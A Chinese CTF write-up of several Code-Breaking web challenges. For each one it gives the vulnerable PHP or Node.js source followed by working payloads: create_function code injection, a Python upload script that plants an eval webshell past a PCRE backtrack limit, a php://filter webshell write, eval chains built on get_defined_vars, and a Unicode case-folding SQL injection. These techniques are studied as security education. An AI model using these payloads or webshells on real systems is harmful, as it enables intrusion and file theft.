ph师傅的代码审计CTF题目 https://code-breaking.com
easy - function 1 2 3 4 5 6 7 <?php $action = $_GET['action' ] ?? '' ;$arg = $_GET['arg' ] ?? '' ; if (preg_match('/^[a-z0-9_]*$/isD' , $action)) { show_source(__FILE__ ); } else { $action('' , $arg); }
观察正则表达式可以发现正常的函数名都不行,所以很容易联想到要在函数名中加入其它字符,这道题没想到可以用create_function
,一开始一直在想命令执行的函数,但是没有符合要求的……
想到create_function
之后,要测试哪个字符可以使用,这里有师傅用了burp测试函数是var_dump
来fuzz,最后fuzz出了%5c
,就是\
。在小密圈中师傅的解释是PHP的命名空间默认为\
,如果直接写function_name()
调用相当于是用相对路径在调用函数,如果写成\function_name()
相当于用绝对路径调用函数。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
如何在create_function中执行代码呢?http://blog.51cto.com/lovexm/1743442
这篇文章中介绍了在create_function中如何注入代码并且执行。简单来说是通过输入}
来闭合函数,之后再注入我们想执行的代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 $b = create_function('$a' , "return 666;" ); echo $b;$b(1 ) 这个匿名函数等效于 lambda_xxx($a){ return 666 ; } 如果注入} lambda_xxx($a){ return 666 ;}eval ("phpinfo()" );
现在能够执行代码了,剩下的就是通过执行代码寻找flag。这里套用一下LoRexxar的payload来搜索文件
http://51.158.75.42:8087/?action=%5ccreate_function&arg=return%20666;}eval($_POST[%27618%27]);/*
618=$handle = opendir('../');while(($filename = readdir($handle)) !== false){echo $filename."<br/>";}
这样直接file_get_contents获取内容
618=print(file_get_contents('../flag_h0w2execute_arb1trary_c0de'));
easy - pcrewaf 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php function is_php ($data) { return preg_match('/<\?.*[(`;?>].*/is' , $data); } if (empty ($_FILES)) { die (show_source(__FILE__ )); }$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR' ]);$data = file_get_contents($_FILES['file' ]['tmp_name' ]); if (is_php($data)) { echo "bad request" ; } else { @mkdir($user_dir, 0755 ); $path = $user_dir . '/' . random_int(0 , 10 ) . '.php' ; move_uploaded_file($_FILES['file' ]['tmp_name' ], $path); header("Location: $path" , true , 303 ); }
首先,文件内容不能有<?
,这样就意味着正常的php文件完全gg,然后也可以看到文件名不可控,这就是说没有办法用文件名传输php数据。这道题参考了ph师傅的方法。
ph师傅的方法是利用了php正则表达式的一个特性,一般的语言在正则表达式匹配的时候会有回溯操作,比如在贪婪或者非贪婪模式下,一开始匹配的内容会为最大匹配,之后会根据正则表达式的内容进行回溯调整。然而php有一个回溯的次数限制,如果超过这个限制正则表达式就会返回false,又由于php的弱类型比较,这样就会绕过if的判断。
这里有鸟哥的一篇文章介绍php正则匹配的回溯限制
http://www.laruence.com/2010/06/08/1579.html
ph师傅的详细内容
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
这里在上传的文件中加入1000000个a就会超过回溯的次数。
1 2 3 4 5 6 7 8 9 10 11 12 13 import requestsimport iosession = requests.session()agent = 'Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM;' \ ' Touch; NOKIA; Lumia 920)' headers = { "Host" : "51.158.75.42:8088" , "User-Agent" : agent, "Origin" : "https://code-breaking.com/" ,} files = { 'file' : io.BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000 )} html = session.post('http://51.158.75.42:8088/' , headers=headers, files=files, allow_redirects=False ) print html.headers
然后根据打印出来的头部信息,得到webshell的地址 data/558cb3b807e236696e9e2c79295d7fee/1.php
,然后构造post数据执行代码,拿flag。
txt=$handler = opendir('../../../');while(($filename = readdir($handler)) !== flase){echo $filename."<br/>";}
txt=print(file_get_contents('../../../flag_php7_2_1s_c0rrect'));
easy - phpmagic 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 <?php if (isset ($_GET['read-source' ])) { exit (show_source(__FILE__ )); }define('DATA_DIR' , dirname(__FILE__ ) . '/data/' . md5($_SERVER['REMOTE_ADDR' ])); if (!is_dir(DATA_DIR)) { mkdir(DATA_DIR, 0755 , true ); } chdir(DATA_DIR); $domain = isset ($_POST['domain' ]) ? $_POST['domain' ] : '' ; $log_name = isset ($_POST['log' ]) ? $_POST['log' ] : date('-Y-m-d' ); ?> <!doctype html> <html lang="en" > <head> <!-- Required meta tags --> <meta charset="utf-8" > <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" > <!-- Bootstrap CSS --> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/css/bootstrap.min.css" integrity="sha256-eSi1q2PG6J7g7ib17yAaWMcrr5GrtohYChqibrV7PBE=" crossorigin="anonymous" > <title>Domain Detail</title> <style> pre { width: 100 %; background-color: border-radius: 3 px; font-size: 85 %; line-height: 1.45 ; overflow: auto; padding: 16 px; border: 1 px solid } </style> </head> <body><div class="container"> <div class="row"> <div class="col"> <form method="post" > <div class="input-group mt-3"> <div class="input-group-prepend"> <span class="input-group-text" id="basic-addon1">dig -t A -q</span> </div> <input type="text" name="domain" class="form-control" placeholder="Your domain"> <div class="input-group-append"> <button class="btn btn-outline-secondary" type="submit">执行</button> </div> </div> </form> </div> </div> <div class="row"> <div class="col"> <pre class="mt-3"> <?php if (!empty ($_POST) && $domain): $command = sprintf("dig -t A -q %s" , escapeshellarg($domain)); $output = shell_exec($command); $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES); $log_name = $_SERVER['SERVER_NAME' ] . $log_name; if (!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php' , 'php3' , 'php4' , 'php5' , 'phtml' , 'pht' ], true )) { file_put_contents($log_name, $output); } echo $output; endif ; ?> </pre> </div> </div> </div> </body> </html>
首先还是来看可控点,一个是域名可控,一个是文件名部分可控。然而这里有escapeshellarg
导致我们的输入被默认成字符串,没有办法注入命令,所以只能执行域名解析。这里参考fish师傅的方法,这里最需要注意的是file_get_contents
,这种文件操作经过blackhat的议题,可以知道都是可以操作php协议流的。而这里是将域名解析的输出写入一个日志中,所以基本思路就是利用php://filter将我们的base64编码的数据解码输入进日志文件中。
关于文件名的后缀问题,http://wonderkun.cc/index.html/?p=626
这篇文章中知道在文件路径中包含/.
或者/../
会导致pathinfo无法获取到后缀名,这样就绕过后缀判断,写入php文件。之后的问题域名解析的输出只有一部分是可控的,这里有一个要点就是base64会忽视不符合要求的特殊字符,然后会以4个字符为一组解码字符,所以只要前面的数据为4的倍数就能正确执行。其次由于我们的输入点在数据的中间部分,所以也不能有=
符号。
这里写入文件有一个重要的点,通过上面的这种特殊路径写入的文件只能创建新的文件,无法覆盖原来的旧文件。这点很重要,我就白忙活了半个小时……
最后,这个文件名其中有一部分是server_name,这里的值是获取的客户端请求的host值,因为在使用php流的时候会包含php,这里就可以把php放入host值中。
其中base64编码下面的webshell
<?php @eval($_POST['618']); ?>
PD9waHAgQGV2YWwoJF9QT1NUWyc2MTgnXSk7Pz4
最后我们在http://51.158.75.42:8082/data/558cb3b807e236696e9e2c79295d7fee/x618.php
执行代码就可以获取flag了。
618=var_dump(glob("/var/www/*"));
618=var_dump(file_get_contents('/var/www/flag_phpmag1c_ur1'));
easy - phplimit 1 2 3 4 5 <?php if (';' === preg_replace('/[^\W]+\((?R)?\)/' , '' , $_GET['code' ])) { eval ($_GET['code' ]); } else { show_source(__FILE__ ); }
这是一道老题,通过正则表达式我们可以知道,这个code只能执行嵌套的函数,例如abc(def())
这种,这里的思路就是利用http的header来传输payload,利用php的获取header的函数,再eval执行,就变成了任意代码执行。
?code=current(getallheaders());
但是,WTF,这是nginx的服务器,没有apache的相关函数,找了半天无功而返…… 找了找fish师傅的wp,他是利用了get_defined_vars
函数获取定义的变量,但是有很多变量我们不可控怎么办?这里有一个 reset()
操作把之前的变量全部重置。所以变量就只剩下我们传输的get参数,这样我们直接把payload放在get请求中,用implode全部取出,然后拼接// 注释掉后面的部分,又变成了任意代码执行了。
http://51.158.75.42:8084/?1=var_dump(glob(%27/var/www/*%27));//&code=eval(implode(reset(get_defined_vars())));
而这里两次eval,第一次eval是把变量重置之后全部提取出来,提取出来的字符串值再次eval,才会执行我们前面的代码。
http://51.158.75.42:8084/?1=var_dump(file_get_contents(%27/var/www/flag_phpbyp4ss%27));//&code=eval(implode(reset(get_defined_vars())));
这里也可以是其他的payload,都是大同小异。
?code=eval(next(current(get_defined_vars())));&b=var_dump(glob(%27/var/www/*%27));
另外一种思路是嵌套使用函数搜索目录读取文件。
code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
easy - nodechr 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 const Koa = require ('koa' )const sqlite = require ('sqlite' )const fs = require ('fs' )const views = require ('koa-views' )const Router = require ('koa-router' )const send = require ('koa-send' )const bodyParser = require ('koa-bodyparser' )const session = require ('koa-session' )const isString = require ('underscore' ).isStringconst basename = require ('path' ).basenameconst config = JSON .parse(fs.readFileSync('../config.json' , {encoding : 'utf-8' , flag : 'r' }))async function main ( ) { const app = new Koa() const router = new Router() const db = await sqlite.open(':memory:' ) await db.exec(`CREATE TABLE "main"."users" ( "id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, "username" TEXT NOT NULL, "password" TEXT, CONSTRAINT "unique_username" UNIQUE ("username") )` ) await db.exec(`CREATE TABLE "main"."flags" ( "id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, "flag" TEXT NOT NULL )` ) for (let user of config.users) { await db.run(`INSERT INTO "users"("username", "password") VALUES ('${user.username} ', '${user.password} ')` ) } await db.run(`INSERT INTO "flags"("flag") VALUES ('${config.flag} ')` ) router.all('login' , '/login/' , login).get('admin' , '/' , admin).get('static' , '/static/:path(.+)' , static ).get('/source' , source) app.use(views(__dirname + '/views' , { map: { html: 'underscore' }, extension: 'html' })).use(bodyParser()).use(session(app)) app.use(router.routes()).use(router.allowedMethods()); app.keys = config.signed app.context.db = db app.context.router = router app.listen(3000 ) } function safeKeyword (keyword ) { if (isString(keyword) && !keyword.match(/(union|select|;|\-\-)/i s)) { return keyword } return undefined } async function login (ctx, next ) { if (ctx.method == 'POST' ) { let username = safeKeyword(ctx.request.body['username' ]) let password = safeKeyword(ctx.request.body['password' ]) let jump = ctx.router.url('login' ) if (username && password) { let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()} ' AND "password" = '${password.toUpperCase()} '` ) if (user) { ctx.session.user = user jump = ctx.router.url('admin' ) } } ctx.status = 303 ctx.redirect(jump) } else { await ctx.render('index' ) } } async function static (ctx, next ) { await send(ctx, ctx.path) } async function admin (ctx, next ) { if (!ctx.session.user) { ctx.status = 303 return ctx.redirect(ctx.router.url('login' )) } await ctx.render('admin' , { 'user' : ctx.session.user }) } async function source (ctx, next ) { await send(ctx, basename(__filename)) } main()
这里的关键点就是safeKeyword
函数的过滤黑名单,干掉了union和select,这以为着注入时彻底没办法使用了。在下面的登录查询逻辑中有一个很明显的注入,输入的字符串直接拼接进查询。其实一开始思路是从isString
和match
中寻找绕过方法,但是没有什么相关trick。后来在参考fish师傅的wp中,提到了toUpperCase,其实想想这里有个大写转换确实很诡异,所以突破口应该是在这里。果然在ph师傅的之前的文章中有fuzz出来的特殊字符。
https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
这里面 ı
能变成大写的I
,ſ
会变成大写的S
,那么这样就能在正常的字符中插入特殊字符绕过safeKeyword
的检测。再加上我们知道flag存放在flags表中,user表的结构也是知道的,所以直接用union注入查flag的值。
' unıon ſelect 1,flag,3 from flags where '1'='1
为了要闭合单引号,必须要凑个where语句。最终在登录界面拿到flag。
Reference https://lorexxar.cn/2018/12/07/codingbreak-wp/
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
https://www.cnblogs.com/iamstudy/articles/code_breaking_writeup.html
http://f1sh.site/2018/11/25/code-breaking-puzzles%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/
http://rui0.cn/archives/1015
https://blog.l0ca1.xyz/Code-Breaking
https://blog.csdn.net/fnmsd/article/details/84556522